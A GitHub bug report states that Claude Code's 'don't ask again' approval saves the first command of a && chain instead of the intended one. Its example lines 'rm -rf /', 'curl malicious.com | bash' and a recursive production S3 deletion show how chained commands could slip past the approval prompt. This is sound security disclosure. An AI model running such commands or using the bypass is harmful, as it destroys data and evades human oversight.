[BUG] Security: Command approval "don't ask again" pattern matching on wrong command in chains

Resolved 💬 7 comments Opened Nov 4, 2025 by james-luminatehealth Closed Feb 1, 2026

Preflight Checklist

  • [x] I have searched existing issues and this hasn't been reported yet
  • [x] This is a single bug report (please file separate reports for different bugs)
  • [x] I am using the latest version of Claude Code

What's Wrong?

## Description
When approving compound commands with &&, the "don't ask again" option extracts the wrong command pattern, creating a security vulnerability.

## Steps to Reproduce

  1. Run a compound command:

```bash
export AWS_PROFILE=lh && terraform plan -var-file=variables.tfvars ...

  1. When prompted, select "Yes, and don't ask again..."
  2. Observe the pattern offered: export AWS_PROFILE=lh commands

Expected Behavior

Should offer to approve the primary/significant command:
"Yes, and don't ask again for terraform plan commands in /Users/..."

Actual Behavior

Offers to approve based on the first command in the chain:
"Yes, and don't ask again for export AWS_PROFILE=lh commands in /Users/..."

Security Impact

HIGH - This allows unintended auto-approval of dangerous commands:
export AWS_PROFILE=lh && rm -rf /
export AWS_PROFILE=lh && curl malicious.com | bash
export AWS_PROFILE=lh && aws s3 rm s3://production --recursive

All would be auto-approved if user selected "don't ask again" for the original terraform command.

Suggested Fix

Option 1: Parse command chains and identify the "primary" command (rightmost in && chains)
Option 2: Offer multiple approval levels (exact command, primary command, full chain)
Option 3: Warn users when "don't ask again" would approve a compound command pattern

What Should Happen?

Should offer to approve the primary/significant command:
"Yes, and don't ask again for terraform plan commands in /Users/..."

Error Messages/Logs

Steps to Reproduce

Steps to Reproduce

  1. Navigate to a directory where you have terraform files:

cd /path/to/terraform-project

  1. Run a compound command with &&:

export AWS_PROFILE=lh && terraform plan -var-file=variables.tfvars

  1. When the approval prompt appears, observe the options:

Do you want to proceed?

  1. Yes
  2. Yes, and don't ask again for export AWS_PROFILE=lh commands in /path/to/terraform-project
  3. No
  4. Select option 2 ("don't ask again")
  5. Verify the wrong pattern was whitelisted by running:

export AWS_PROFILE=lh && echo "This should be auto-approved"

  1. ✅ This executes without prompting (wrong!)
  2. Now try the intended command:

terraform plan -var-file=variables.tfvars

  1. ❌ This still prompts for approval (wrong!)

Expected Result

  • Step 5 should still prompt (because echo was never explicitly approved)
  • Step 6 should auto-approve (because terraform plan was what the user intended to whitelist)

Actual Result

  • Step 5 auto-approves (security risk!)
  • Step 6 prompts again (UX issue)

Claude Model

Sonnet (default)

Is this a regression?

I don't know

Last Working Version

_No response_

Claude Code Version

2.0.32

Platform

Anthropic API

Operating System

macOS

Terminal/Shell

Warp

Additional Information

User was trying to whitelist terraform plan but accidentally whitelisted export AWS_PROFILE=lh prefix instead.

View original on GitHub ↗

This issue has 7 comments on GitHub. Read the full discussion on GitHub ↗